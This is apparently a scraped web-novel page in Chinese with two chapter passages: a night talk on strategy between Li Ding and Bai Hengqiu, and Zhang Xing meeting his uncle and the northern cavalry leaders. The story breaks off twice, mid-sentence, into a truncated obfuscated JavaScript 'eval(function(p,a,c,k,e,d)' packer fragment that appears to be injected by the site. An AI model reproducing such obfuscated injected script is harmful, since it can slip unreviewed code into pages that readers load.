“应该是。”苏靖方疲惫不堪,神色憔悴,一开口嗓子也有些哑。“我不好打听。” “所以才从西北走。”李定幽幽以对,复又追问。“白有思呢?她大概是什么时候出发的?” “不好说,但看情形,应该是我走后第二日早上,也就是昨日凌晨就出发了蒲台到河口一带,船只、兵马、后勤准备的极为充足,就等我这个消息而便是我没去,也会有黜龙帮其他的信使过去。” 李定微微颔首,复又蹙眉:“有些不对。” “四郎,怎么说?”张十娘紧张不已。 “要出事。”李定叹了口气,语调却平和到意外。“出大事!” 苏靖方和张十娘齐齐紧张起来,熟料,李四郎忽然又摇头:“其实也不是什么大事,现在还有什么大事,不过是局势变化的大一些、快一些,然后又跟我们有关罢了。” 其余两人不明所以,然而,李四郎叹气后,干脆转回头去,再度盯住了黑帝爷的雕塑。 苏靖方见状,也是无奈,却又想说些什么他这次的行动其实有些敏感的,如果说第一次去寻黜龙帮报信,那是李定在被挟持后本能的反抗行为,属于李府君自家主导的行为,那这一次,他苏靖方其实有很大的自主性,是遵循个人意愿来做的居多,以至于将去打探情报的事情顺延成了通风报信外加主力信使,不然也不至于李四都回来了,苏靖方才能告知这些情报.所以,小苏是有心解释一二的。…. “你且下去。”就在这时,张十娘忽然察觉到什么,立即出言止住了苏靖方,然后隔着大殿看向了东面,却又紧张望向了自家丈夫的背影。 堂外乱风鼓动,堂上那個火盆上里的火光也一时四处乱窜,却又逃无可逃,李定面色阴沉着看着火盆,只纹丝不动,却出言吩咐:“十娘也下去等一等。” 苏靖方和张十娘晓得利害,便一起直接离去,结果刚一回头,便看一道银光闪过,接着,一名须发花白的男人忽然出现在了大堂门前。 却正是英国公、大宗师白横秋。 白横秋落在堂前,收起真气,目送张十娘与苏靖方离开,又驻足看了看巨大的黑帝观大堂,然后负手踱步走入,来到李定侧前方,居然恭恭敬敬朝着黑帝爷的泥胎木刻俯身行了一礼,这才转过头来,去看面无表情的李定。 “白公也自诩人中之龙,也敬奉鬼神吗?”似乎有所觉悟的李定问的莫名其妙。 “哪来的鬼神?不过也是活生生的人,又成了龙罢了。”白横秋似乎听懂了对方的意思,只在黑帝爷的注视下负手来笑。“鬼神之说多为杜撰流传而既是人,又是建构天下的先辈,如何能不以礼相待?“ 这个回答显然是正确的,因为这个世界的龙更像是生物在获得并掌控天地元气后,被天地元气同化的产物,从这个角度来说,人修行下去,本质上也是一种化龙的过程,只不过是人属龙种罢了。 “但这几条龙太强横了,强到顺天登位,逆天改命,横行四海,操纵人间。”李定似乎对这个标准答案并不满意。“多少天下大势被他们操纵,多少英雄豪杰成为他们手中木偶。” “话是如此,可如今情形早已经不是几千年前那般了。”白横秋神色平淡,就好像他只是来做客,顺便给厚**后辈一点人生建议外加一点常识科普一般。“那时候这几位肆无忌惮是不假,但看后来情形,必然是受了大挫,遭了天罚也说不定到了如今,再加上三辉起势,他们便是用尽了手段又如何?真英雄真豪杰难道就怕了他们?难道不要相互争斗?退一万步说,便是他们的手段强硬了些,最后相争的不还是下面这些人?李四郎,若是真豪杰,便是被这几位掰扯上了什么天命,自然也能挣脱束缚、争得上游,何至于在这里怨天尤人呢?” 话到这里,白横秋顿了一顿:“天下遭四御之困厄最甚的,便是当日祖帝了,那假使祖帝生于今日,建当日功业于眼下,以如今四御的作为,还能拦住这位成第五至尊吗?咱们这些人,没资格怨天尤人的。” “白公教训的是。”李定点点头。“若天意高渺,只该怨天,而怨天无益;若人力不足,便该自怨,怨己自 伤.白公是这个意思吗?”…. “是。” “那白公也是如此看此番突袭不成的?”李定居然没有被说服。 “当然是。”白横秋言辞坦荡。“没拿下就是没拿下.而且非只黜龙帮与河北东都那里,虽取了曹林,却被他临死将东都送去,也称不上得胜。” “我的意思是,张行此番临阵得伏龙印算不算侥幸?”李定今夜明显话多。“曹林快**还能找回司马正,是不是天意垂怜?” “你要是问有没有至尊真龙直接插手,我不知道,但若说这算不算运气,算不算天意,我觉得算,都算。”白横秋点头以对。 李定微微一振,也转过了头来。 “但那又如何呢?”白横秋复又来笑,乃是负手踱步走到了堂门前,望着外面夜色喟然以对。“若从此处说,我能这般精巧出红山,抓住黜龙帮一次要害,算不算也是侥幸?天下大乱前得太原留守,又是什么运气?说句不好听的,我生下来是白氏子,就已经压过这天下九成九的豪杰了李四郎,你太年轻了,以至于有些心高气傲了。” 李定听到后来沉默半晌,继而终于一叹:“不错,我也是李氏子,张行到七八年前都还只是个排头兵.现在回头去想,这厮这几年怎么就到了这个地步?最大、最好的一步棋,其实正是当日三征乱后,他片刻不曾犹豫,直接跳出来杀了张含,然后跑到东境寻东齐故地豪强**,还打出天下义军首领的旗号这实在是一步绝妙好棋,但这步棋全是他的眼光和勇力所致,是他平素本心起的决意;而我当时却不敢作为,居然直接弃了蒲台自己拉出来的兵马,逃回到了东都。仅此一步,我便活该落了下风。” “张行和曹林,都不是什么小人物。”白横秋点头认可。“若是对上这等人也可以轻易得胜,那天下真就是易如反掌了。岂不显得许多之前的英雄豪杰太亏了些?” 而其人顿了一顿,复又言道: “其实还是我太贪心了.若只是斩曹林,取东都,稳扎稳打,何至于此?而河北这里,非只是张行一人狡猾,黜龙帮一家有底力,其余英杰也数不胜数,势力更是盘根错节.是我小觑了河北,小觑了河北豪杰。” “东周西周、东齐西魏”李定听到这里,重新负手背对着堂门,而且也恢复到了面无余色的样子。“大魏既然塌了,关陇与河北总要再做过一场,哪里能寄希望于一战而定?不打大仗的话,即便是一战侥幸成了,将来也要再反个几次!“ “是这个道理。“白横秋连连颔首。“李四郎还是有慧根的。” “有慧根而不晓天命。”李定幽幽以对。“是要遭天谴的,偏偏心中总是不服。” 白横秋不由来笑:“不服也正常,但不能明知而故犯了。”李定点了点头。 白横秋这才来问:“屈突达跑了?”…. “是,黜龙军突围当夜,他估计是察觉到了孙顺德的动向,猜到了黜龙帮要突围,又害怕会成为黜龙帮大兵团接应路线上的弃子,所以逃了。”李定立即回身介绍起了南线情况。“而且是先向南,再向西,避开了武阳郡北侧的哨卡、城池。” “这是一心一意要走了。”白横秋微微眯眼道。“现在到哪儿了,还能追得上吗?” “到哪儿不晓得,只晓得下午有部众出现在元城。”“这么快吗?” “快不快的无所谓,关键是,我觉得即便是追上,也很难阻拦。”李四郎有一说“何意?” “屈突达让其部化整为零,以三队四百五十人为一部,分散自行,往归东 都。”李定将自己获知没多久的情报奉上。“不知道白公在没法建立防线的情形下,能拦的几队人?” “啧。”白横秋重复了一开始那句。“这是一心一意要走了。” “郑善叶那里也不好,不知道有没有报给白公。”李定继续汇报道。“郑善叶带出营何止**千,但据说回到营中的东都军只有三四千,都趁着夜色和大雾直接逃了。” “东都军不属我了。”白横秋平静给出结论。“东都怕是难下了" “东都军若是属白公,东都才真的难下。”李定不以为然道。“真要是此时强行渡河到东都城下,军中还有几万心思复杂的东都军,司马正又与东都上下团结一心,只怕又是一次清漳水之围,甚至更糟。” 白横秋点点头:“说的好,这种尝试可一不可二,不能作指望的东都军散了就散了,我迎面击败李枢,然后就直接去关西。” “李枢怕也打不到。”李定继续汇报军情。“据我所知,李枢没有过来。” 白横秋终于诧异。 “具体情况我也不清楚,李枢似乎去南面了,过河的只有单通海以及黜龙帮济阴行台的几个营。”李四郎语气平淡。“本就是奋力一搏,现在知道解围了,怕是要立即躲开的。” 白横秋想了一想,复又来笑:“看来黜龙帮也不是想的那般利索李枢还是不服张行,魏玄定、陈斌、窦立德那群人还是无能扯皮,不能作为。” “看怎么说了。”李四郎不以为然。“李枢这般不服,下面的人却还是来河北救援;魏玄定那边,本 来以为他们会在大军压制下四分五裂,却居然还能维持,连下面的屯田兵都能奋起;张行那里觉得会困死愁城,却居然能突围出来都已经很了不起了。” 白横秋点头认可:“张三能得人,黜龙帮多英杰。”李四没有开口。 白横秋复又来言:“但他所得之人皆是河北豪杰,少许南陈余孽也是有的,至于关陇英雄,连李枢他都不能容,也不能得.” 李定听明白了对方的意思,欲言又止,干脆扭过身去,同样去看外面的夜色。“怎么?”白横秋眯着眼睛来问。“李四郎不以为然。”…. “是。”李定头也不回,只是冷静来笑。“是觉得白公武断了.据我所知,白三娘应该是昨日凌晨便启程,率领登州、无棣五六个营,一万之众,连着数不清的军械物资,组建了一个大舰队,专门从大河口出发北上,去渤海还是北地去接应了这位怎么说也是“关陇豪杰'”吧?” 白横秋沉默片刻,不由失笑,继而难得低头:“她不作数的,不作数的。” 李定还想说话,白横秋已然给出吩咐:“我要回军走了,看能不能扑到单通海至于你,李四郎,我的意思很简单,你不放心武安军,将它取了回来,是你的本事,说明军队也服你,但是,黜龙贼既然往西北去,哪怕是一路向北,从北地折回,你也应该谨守防线,跟薛公连成一体,防止他从南面冲回来.也只有这样,你才能进取清河。” “清河?”李定似乎有些恍惚。“还能进取?” “当然,崔傥在那里,他是最害怕黜龙贼的,你在那里有个天然的支点。”白横秋认真提醒。 “黜龙军不缺高手,白公一走,也不怕什么高手。”李定也反过来提醒。 “又不是让你们去拼命,守住就好,守住黜龙军下面的部队就行真要是张行、雄伯南这些人扔下那些疲敝兵马去了平原,反而是好事。”白横秋点出了关键。 “他们应该是要去晋北,走雁门,渡苦海,然后从北地转向渤海。”李定平静给出答复。“可不怕一万只怕万一。” 白横秋点点头,却又摇头:“不错,徐世英是个有本事的,他既然回去了,说不得要起兵来攻.但昨晚情势,徐世英能突围出去是赌命,而黜龙军主力伤亡战前也无有说法所以若说张行与徐世英有什么计划,那就过了,他走西北,起三娘北上,就应该是要走北面回去。” 话到这里,白横秋也给出了定论:“不怕一万,就怕万一,若是万一中了,那就中了,过不在你,你自收缩自保便可。” 说完,白横秋不再言语,只是在火光下认真看着对方。 而李定沉默好大一会,终于俯首以对:“若他北走,我此间重新整兵,自然愿为白公尽力。” 白横秋喜不自禁,连连颔首,却是当场在黑帝爷的注视下拍了拍对方肩膀:“李四郎,你既有此言,我不能不做表示关陇与河北势不两立,我与黜龙帮势不两立,与张行势不两立,将来二龙必有一死.若是我死,什么也不必多言,若张行身死,三娘须好人家辅佐,你要懂得自勉自励!” 李定张口欲言,却愣在当场。 白横秋一言既许,不再犹豫,转身走出了大堂,须臾银光闪过,其人便在今日略显暗淡的月光下消失不见。 而此人走后,李定沉默许久,望着堂外发呆,直到张十娘赶来,方才回过神来。“辛苦十娘。”李定定定看着对方,下达了一个命令。“让樊梨花来一趟。”…. 须臾片刻,樊梨花带着惺忪睡眼来到大堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“首席。”谢鸣鹤只蹲在火堆旁烤火,而火光映照下,可以看的出来,其人胡子居然保养的很好,油光锃亮的。“你舅舅来了,就在五里外,不认认亲吗?” 张行翻身坐起,很快又面带笑意:“只我舅舅一人吗?” “三千北地骑兵,两千晋北骑兵,都是从大陆泽北侧进入的。”谢鸣鹤接过旁边张公慎递来的烤饼,直接放出长生真气护住手,然后便伸到火堆上去烤。“晋北骑兵是一个姓尉迟的好手领头,此人是典型的苦海边缘混血部落出身,修为好,战力强,状若粗犷,但心里是个有主意的,也算是破浪刀以下晋北的二号人物;北地骑兵复杂些,为首者虽是你舅舅,却不是靠着铁山卫的力量,颇有几个临时拉拢的战团,为首者有一个算一个全都桀骜不驯.”…. 早已经起来的众人纷纷皱眉,不少人还看向了马围这位一开始就预言了黜龙军可能被轻视的问题。 “还有,路上装作代郡高氏往清漳水这边的援兵,大部分路都还顺利,只昨日撞到了两拨人,一拨是赵郡的兵马,打着冯无佚旗号,当面撞上,明显看到我们虚实,却还是装作不知道走了。”谢鸣鹤继续匆匆汇报情况。“另一拨是王臣廓,他真以为我们是高氏的兵马,半截路上打了一场,但发现我们不是以后,反而没了恋战之意,直接就过去了这就是为什么来的有些晚的缘故。” “冯公的恩义是要记一笔的。”张行微笑来答。“王臣廓就算了。” “王臣廓回去肯定要从恒山往最近的代郡做兼并,若是从这里头算,咱们要北上,怕是要跟一王二高撞上。”谢鸣鹤认真提醒。“代郡二高也态度暧昧,我来说去找过他们,他们没吭声,我们是从恒山出来的." “不只是没吭声,也没来清漳水这里参加联军。”裹着一个披风坐起来的马围脱口而对。“就是仗着自己偏远想保存实力,也有没见识过风浪自以为是的意思。” “夜郎自大高郎自大代郡自大。”张行嘟囔了一句什么。 “不过,既然援军到了,我们还要往北走吗?”马围看向了张行。“何意?”已经开始吃烤饼的谢鸣鹤抬起头来,茫然不解。 “这边可能有个机会逼降李定,或者从武安那里逃回平原,但前提之一是援军愿意南下协助出兵。”崔肃臣告知道。 “这件事需要足够战力,也需要太原军远去,还需要一个绝对机巧时机联络魏公他们出兵呼应”.马围终于认真思考或者告知起了这件事情的可行性。 “后面暂时不管,条件不行继续往北走。”张行立即制止了对方。“先去见援兵.老谢,你觉得他们会答应南下助我们吗?” “不知道。”谢鸣鹤捏着烤饼,思索了一下,给出了一个颇显无力的回复。“我跟他们也只是刚刚认识数日,也只知道他们答应过来做接应,其余都没做试探。” “那就要当面问了。”张行站起身来。“你问不如我问.我去还是让他们来?” “你去吧。”谢鸣鹤想了想,给出答复。“毕竟你舅舅在那里,这里先摆架子适得其反。” 张行想了一想,也只好同意,却又忍不住提醒:“到时候指给我看是哪个。”“自然。”谢总管点了下头,将烤饼匆匆吃完,便站起身来,要来带路。 熟料,先站起来的张行心中微动,反而抬手拦住了对方:“对面修为如何?” “两位带头的是成丹,北地三个战团全都是凝丹。”谢鸣鹤脱口而出。“北地那里确实修为上比中原腹地这里精悍一些。” “那我一个人去。”张行回头扫过雄伯南与徐世英。“天王、徐大郎,天色将明,你们巡视一下部队,我尽量快些回来。” 雄伯南正色提醒:“首席,你是帮内首席,还是小心为上,我跟着何妨?” “无妨,哪有见自家舅舅还要提防的?”张行笑道。“天王有心,隔着这几里路注意下就是。” 雄伯南无奈,其余人也都表情怪异,只目送对方腾跃起来,向着北方滑去,却又面面相觑起来.见舅舅不用提防自然是有道理的,但见舅舅认错人怎么办? 一时间,几乎所有人都醒了过来,无人再有心睡眠,便是之前一直微微起鼾的王怀绩也睁开了眼睛,望着头顶渐渐黯淡的双月发呆。 灰白色的流光一起,不过四五里路,张行便察觉到侧前方某处冒起对应的寒冰真气,也是毫不犹豫,往彼处落了下来。 一旦落地,便见到这个滩涂上几处刚刚燃起的火堆旁站了许多人和战马,而且马虽解鞍,人却或铁甲或皮甲披挂在身,神色严肃,俨然是在等人。 而见到张行落地,这些人也都表情各异,大部分人见到只有一人,纷纷蹙眉,甚至有人明显不耐,以至于周遭明显嘈杂起来,只有一个中年红脸大汉,看着来人,表情微动。 张行扫过众人,脸上微笑浮起,团团拱手:“在下铁山卫张行,离家许久,迫不及待过来,却居然不知道哪个是我舅舅?” 原本嘈杂的弹涂地立即鸦雀无声了下来。 pt. ... 第二百八十六章山海行(33) 滩涂这里,刚刚燃起的火堆旁,所有人装束不一、姿态不一、表情不一。 有人穿皮甲,有人穿铁甲,有人戴着头盔,有人挂着皮帽,有人脱了衣甲只着中衣,还有人干脆在河北春暖花开的时节裹着皮袍子,武器有长槊,有**,有流星锤,有铁锏;有站着说话的,有蹲着靠土堆休息的,有坐着拨弄着火堆,有在饮马的,有在吃东西的;有人在笑,有人眉头紧皱,有人面无表情.包括张行那带着寒冰真气的流光飞来时,他们也只是抬头看看,并没有太多动作和新的表达,只有几位领头的释放出了自己的真气点明方位而已。 很显然,只看流光,大家都以为这是一个使者。 落地也觉得就是个使者,因为连个氅都没披,像样的兵器也无,更别说打出旗号了。 但当张行落地报上姓名后,几乎所有人都停止了发出响动—方面是诧异于居然上来便见到了真龙,另一方面则是被对方的询问给弄傻了.你自己亲舅舅,你要问是哪位? 这個时候,我们是上前招呼呢?还是不插嘴站着呢? 众人面面相觑中,中间一名红脸汉子站了起来,也不拱手,只是往前几步,便重新立住,一时幽幽:“走了许久,竟似换了个人我就是你舅舅,唤作黄平。” 张行毫不犹豫,上前躬身大拜,口称:“舅舅。” 红脸汉子闻得此言,上前一按,却又忍不住一颤:“早知道你出来就被伤到什么都不记得,我当日便是拼了命也要将你留下的。” 低着头的张三脸上一热不是感动,而是有一丝羞愧他能察觉到,对方是真的动了感情。 考虑到人家身为黑帝爷附属的荡魔卫核心成员,很可能是知道一些事情的,这种情况下却毫不犹豫选择尽力来援,说破大天也称得上是个好舅舅了。 想到这里,张行不由又想起了刚刚王怀绩的那句话—《六韬》在掷刀岭的北面出口,这明显是在引导自己去北地,可为什么? 为什么是北地? 是黑帝爷早就看透了一切或者与某些人达成了默契,安然受之,还是说某些人棋高一着,顺着黑帝爷的路线安排了自己的路线.好让黑帝爷茫然而无所知? 那这些人又是谁呢? 没错,老君观、罗盘,以及在这个时代恰如其分充当理论指导的《六韬》在特定的阶段出现,明显预示着自己这个穿越者背后有“人”.那这些人跟黑帝爷、白帝爷什么关系,跟自己的世界有什么关系? 而这其实正好又牵连到了另一个问题,自己为什么没用罗盘尝试寻找过回家的路? 这个问题,在之前被围的时候,自己已经给出了答案: 首先是畏惧,开场的天崩地裂太吓人了,生怕一个不好化成一团灰,死都不知道**的,不敢找;然后慢慢的不怕**,却在这个世界的多年生活中产生了某种奇怪的使命感,不说其他,既然一时不忍落了草,不管是一念救苍生还是一怒行兵戈,总得对黜龙帮负责,所谓懒得找;最后是他隐约意识到,有些路不走完,恐怕是找不到出口的.很难说是罗盘指路,还是先铺了路再有的罗盘.干事业,修行证位,才是回家的真正道路,这是不必找。…. 所以,张行才会在之前他人的询问中坦诚,他想证位做第五至尊。 做不做得成是一回事,想是另外一回事毕竟目前来看,只要到那个地步,很多问题才能迎刃而解,更重要的是,按照这个世界的规则,自己行的这条路本身就是在往那个方向走,那为什么不定个高的呢? 至于说龙、真龙、证位、至尊、神仙之间的概念差异,已经很敢想的张行在被围的这几天里其实已经想了很多,倒是不觉得证位至尊会跟黜龙这个业务有什么冲突。属于各不耽误了。 脑中转过这两三个念头,不过是几句话的空隙而已,张行此时的沉默与低头,在旁人看来更像是在压抑感情,或者是表示晚辈的服从与歉意,倒是没有多嘴的。 而张行也终于抬起头来,一双眼睛在天亮前的黑夜中闪闪发亮:“舅舅爱护的心思,我感激不尽,但兜兜转转,这些年一路行到此间,我倒是不后悔的!” 黄平叹了口气,松开了手,往后退了两步:“不错,不错!不管如何,跟当日只知道好勇斗狠的**小子比,今日到底是有气势和结果了!” “在舅舅面前,什么气势也都无用。”张行笑道,俨然没有半点隔阂。“我提前过来,也只是为了与舅舅和诸位北地、晋地豪杰说些体己话真要是大张旗鼓带了人来,有些话就不好说了,连低头行礼都要顾虑。” “也是你有心。”黄平点点头,转身往身后火堆那里走回去。 张行亦步亦趋,似乎真像是个老实外甥一般低头跟了过去,结果临到火坑旁却伸手出来,朝四面之前似围未围的许多人招了下手:“来,诸位兄弟们都来坐!正该认识一下诸位兄弟!” 倒是个不怕生的。 然后果真随着自家舅舅在火堆旁蹲坐下来。 两人既坐,没有着急说话,而是黄平将自己之前烤着的一只兔子递了过去,张行接过来,拽下兔头,又将剩下的还给了对方。 此时,外面的人还在推推搡搡,决定谁坐过来,火炕旁原本的几人也都有些茫然,不知道是坐是留,一时空档,黄平不由接上:“当日带你与你弟弟去铁锅原上去打猎,你素来只吃兔子腿" 张行丝毫不尴尬,只是捏着油汪汪的兔子头微笑来问:“我竟还有弟弟吗?” “你是独子,这个弟弟是我的孩子,比你小四五岁如今在黑水大司命那里听差;你还有个妹妹,比你小三岁,原准备许给你的,结果你走了,如今嫁给了奔流城里一户人家,公爹是城内管后勤的副都尉。”黄平略显无奈的解释道。 “城卫之间高层相互通婚?”张行敏锐捕捉到了一点。“大司命不管吗?” “不管。”黄平愈发无奈。“北地风俗你竟是什么都不知道了,分分合合的,打仗都不耽误嫁女儿.”…. 张行没来得及说话,此时,旁边一名刚刚坐下的大汉直接越过黄平凑了过来,截断了谈话:“老黄这是什么话?之前的时候,你外甥只是个毛头小子,且不说记不记得,便是记得也只想着好勇斗狠、打猎殴拳,如今成了天下义军统帅,再听这个,自然要留意地方军政,晓得内外动向.不然怎么做得这般大事?” 黄平敷衍点点头,便做介绍:“这是宇文团首,叫宇文万筹,铁锅原上出了名的破落户,家里是落钵城的正主,结果不耐烦,去了荡魔卫里厮混,最后也待不住,凝丹后就跑到原野上组了个战团,他路子野,哪儿都去,你们当日其实是见过几次的.这次是在渡海前偶然碰到的他,就一起来了你晓不晓得什么是战团?” 这个当然晓得,帮派变种,但偏军事化组织,掌握贸易,根子上是当年黑帝爷大举荡魔时追随的民间团体,所以在北地是有一定传统与合法性的。 故此,张行只点下头,然后一边笑一边便隔着自己舅舅伸手握住对方:“宇文团首,此番来救小子,小子感激不尽。” 宇文万筹闻言大笑:“知道老黄家的外甥、当日铁锅原上猎鹿的小子有了这般出息,救不救的无所谓,只是有了这般大动静,我宇文万筹一定要帮帮场子,不然岂不是让南人以为我们北地人没有胆略?” 张行不由也笑。 与此同时,黄平一声不吭从后面退出身来,反而转到了宇文万筹的外边,然后重新坐下拨弄起了火堆,至于其余人,大约已经推选的差不多了,正围在火堆外两三丈内,见到这个场景也都驻足来看。 无他,宇文万筹笑吟吟的同时,双手寒冰真气溢出,激的周围寒气弥漫,张行丝毫不慌,同样是寒冰真气溢出,而且释放的力道与速度几乎与对方持平。 对**,他则强,对方弱,他则弱。 前后半刻钟,周围人也都落座的差不多,宇文万筹终于止住,乃自己渐渐消了,然后坐在土窝里喘粗气:“不行了,只觉得竟对上了吞风君一般,根本是个无底洞。” 众人哄笑,却又有一名昂藏大汉忍不住来喝:“我来与张首席握握手!”说着,径直从一侧坐下,直接便伸手过来。 张行也不在意,依然是如法炮制然而,刚一上手,他便立即感受到了一股强烈冲击,差点没有撑住,心下一定,认真起来,方才扛住了对方如潮水般涌来的弱水真气,继而稳定下来。 那人显然是个真正高手,不仅仅是修为层次高,而且就好像有人天生血气旺盛、身材高大一般,此人的真气海也澎湃不定,明显出众。 不过,即便是这位,在尝试了一炷**夫也沮丧下来,然后忍不住连番来 问:“张首席厉害,怪不得白三娘看上了你这种人物敢问张首席修为?可曾到了宗师?白三娘现在又是什么修为?”…. “三娘有一阵子没见,之前就卡在宗师那一步上,我这里被围住,也不知道她有没有迈过去,至于我本人,未曾成丹。还算是凝丹。”张行有一说一。 周围人诧异,那昂藏大汉更是摇头:“我自是成丹,宇文团首自是老牌的凝丹,结果都测不出张首席深浅,如何只是凝丹?” “我与正经宗师试过,真气未必比他们差,倒是阁下,好俊的真气手段,我上来差点没撑住。”张行坦诚道。“不过,我委实是凝丹他们都猜测,这是因为当日在北地黑水那里被点选过的缘故。” 说着,张行左手寒冰真气再度微微涌出,右手却清楚释放出了红色的离火真气。 周围一时鸦雀无声,张行这才来说:“杀了人,对方真气多少能收过去一点,而且对方的真气种类我也能用.但不是没坏处,修行起来,好像在凝丹这一层要替杀过的人挨个将丹凝起来一般,所以,从定河北开始,许多年内,帮内豪杰得了天时地气,个个起来,我倒是一直没动弹。” 周围还是一声不吭。 过了好久,一个更年长的北地战士方才抱着怀叹气:“是有这说法,说是当年黑帝爷荡尽天下邪魔,靠的就是他真气如海如河,以至于只有一位吞风君能与他持平,才定下不战之约刚刚宇文团首那玩笑,怕是恰恰说中了实情。” 众人这才议论纷纷。 而张行却趁机来问:“这几位豪杰都怎么称呼?” 不待黄平介绍,一开始说话的昂藏大汉主动拱手:“我姓尉迟,排行第七,张首席叫我尉迟七郎就行,我是晋北本地出身,靠着白三娘的举荐跟洪大哥的赏识在晋北领军,这次大哥说了,咱们早有名分,叫我过来听首席的话就是,要不是晋北那里没人守,否则他也来了。” 张行恍然,却不回礼,只是拉住对方来笑:“我晓得你,当日三娘说起过你,说你跟罗术的儿子罗信,还有秦宝,加上**的张长恭,是她生平所见勇武上的天成之将.” “却都比不过白三娘的本事。”尉迟七郎对道。“我当日阵上见到白三娘本事也是服气了,便想着,若是白三娘凌空在上断其强,我持铁马在下踏其弱,天下何处不可去?今日还是这般想法。” 张行哈哈大笑,众人也随之笑。 笑声中张行复又看向了那个开口的老年北地战士。 后者见状拱手:“老朽北地蓝璋,听说是黑帝爷的点选被困了,无论如何都要来救,不想居然来晚了,张三郎自己逃出来了。” “蓝团首以前是风啸卫里的副司命,后来因为一件事情离开了卫里,但对于卫中事务,素来都是上心的,他去年就从白狼卫黑司命那里知道了你的事情。”黄平适时出言。“哦,黑司命升了,如 今做了正。”…. 张行点头,站起身来,却没有跟对方站着握手,反而是越过尉迟七郎,拽着对方换位子坐了下来,然后表达感激:“辛苦蓝团首了,我跟贾越确实都逃出来了,他就在后面整军呢不过,蓝团首也不必担心无事可做,我们既然突围,总要回到根据上才算脱险看形势,若是他们南面包围的紧,就从北地绕到渤海,而若是他们走的快,露出破绽,再加上他们不晓得诸位豪杰到了,咱们何妨借机反身从南面杀回去?!到时候请诸位到大河边喝酒!” “好!”那老司命当即应声。“老朽也想看看当年黑帝爷止步的地方!”周围不少人在夜色中随之呼应。 这时候,黄平终于指向了又一人:“这位姓陆,陆团首,叫陆大为,他跟我们卫中有生意往来,恰好路过,我临时请来的,他是陆夫人的本家。” 陆夫人,是北地最大城市听涛城前安北公的遗孀,也是间接控制了北地八公中最少三家的北地实权派第一。她的崛起跟之前刘文周控制冰沼城实权,以及白狼卫、柳城的交战,被认为是北地陷入乱局,也是天下彻底大乱无可救药的征兆。 “不是本家,只是同姓。”这位一直没有出声的陆团首见到张行站起来,终于也开了口,却显得有些忧虑。“张首席,跟你作战的是白公对不对?” “是。” “听说白公笼络了大半个河北来围黜龙帮?”“是。” “来时就听说了,晋地加半个河北**,可现在还不是让张首席给打出来了,难道不正显出我们北地豪杰的本事?”宇文万筹忽然插嘴。 陆团首立即点头:“是,是,但我只是忧心局势.张首席,几百兄弟随我过来,性命交在我手,我得尽力给他们交待.说是去打回去,却不知道你们还有多少人?他们还有多少人?” 张行不由来笑:“我们还有多少人,我现在说没有用,马上就天明,不如天亮后陆团首亲眼去看看,只有几里路而且打不打回去,也要看军情到底如何的。譬如我们这次被围的,都是帮中的根基与精华,不然白贼也不至于这么大阵仗,那敢问我们又岂会轻易抛洒自家根基?” 几位首领带头,纷纷颔首,这陆团首也一时语塞。 而张行复又四下看着来言:“我现在过来,只是与大家叙旧!不是说要借叙旧来先把兄弟们给压服,而是反过来,只要天一亮,两边照面,我们想不说军务都不行,所以,才要抢在天亮前见见诸位兄弟咱们现在只聊私谊,不说公务,也请诸位兄弟务必珍惜,等到天亮这份亲近真就难得了!” 说着,其人直接拉着这陆团首坐下,就在火坑旁来问对方家中情形。 陆团首明显局促尴尬,反倒是旁边的宇文万筹在旁边插嘴来作解释,算是说了个七七八八:“刚刚黄老哥说的不对,但也不是没缘由的,老陆家里只是同姓,他年轻时跟他爹往来贩皮子,我遇到过,后来出息了,那陆夫人见了一次,非得说是他本家,还让他接了陆家的货,可不就不成也成了嘛。”…. 众人恍然,张行却顺势好奇起来:“这里面有几多人是城里出来的?几多人是卫里出来的?又有几个是像陆团首这般自家闯荡出来的?” 众人七嘴八舌,纷纷来言。 张行—一来听,也—一来问姓名来历,此处滩涂到底只是几位领头人落脚的位置,而沼泽内滩涂割裂,此地充其量不过百十人,居然真的问了一圈下去其实,张三问的这些话,未必就是切中这些人的心理,说不定还有人觉得他很烦,但关键不在这里,关键在于牵着手坐下然后在火坑旁来问这些问题本身。 果然,等张行问完后这些人便有了自己想问的问题; 这个问张行家的白三娘到底是哪位?知道是什么白公的女儿后又问翁婿为何打仗?安定天下的路子不同,是说河北人跟关陇人吗? 那个问黜龙帮如今到底几个郡在手里,多少兵马?知道答案后马上又有人追问有多少个凝丹,多少个成丹、宗师?甚至还有人问,那雄天王如何愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其余人多连声感慨,而原本话多的宇文万筹竟与原本沉闷的陆大为一样,他们之前在张行说话时多次对视,此时却都一声不吭,低着头不知道想什么。 张行这时候便站起身来,四下来望,只见一轮红日自东方崭露头角,再…. 往南看,彼处烟雾缕缕,也清晰可见,也不做犹豫,回身来交代:“诸位,既然天明了,咱们也该说正事了,四五里路,你们应该都看到了我们那边烟火了,不是要看看我们黜龙帮还有多少人吗?就随我一起去吧!须吃不了诸位豪杰。” 众人哄笑起身,黄平、尉迟七郎、蓝璋直接便去牵马,其余人都随之而动,不止是此间,周围围拢过来的北地、晋地骑士也都嚷嚷着要去牵马一起走,宇文万筹和陆大为原本还有些迟疑,此时再对视一眼,也只好去牵马。 张行被让了一匹马,直接上马走在前面。 大陆泽内青绿色与黄白色的芦苇荡交错,有深水有浅滩有泥淖,张三并不识得道路,却不耽误他使出寒冰真气来,将沿途泥淖与芦苇荡给大约冻得硬邦邦,然后带头往前面走去。 走不过一里路,身后便蜂拥过来的北面援军何止数百骑,早已经惊动对面黜龙军,数道流光飞来,张行也不下马也不抬头,只是在前面一挥手,那些流光便在空中折返。 不过,即便如此,张行依然能够注意到,之前自己歇息的地方,那面熟悉的红底“黜”字旗已经高高立起。 就这样,待到日头完全冒出来的时候,金光洒满大陆泽,张行一行人便抵达黜龙帮的临时营地,来到了那处淤泥堆积的土山前。 这个时候,张首席忽然回头来笑:“诸位,且停停。” 身后许多人纷纷勒马,甚至有人差点在有些冰渣的泥面滑倒,一时颇显嘈杂。 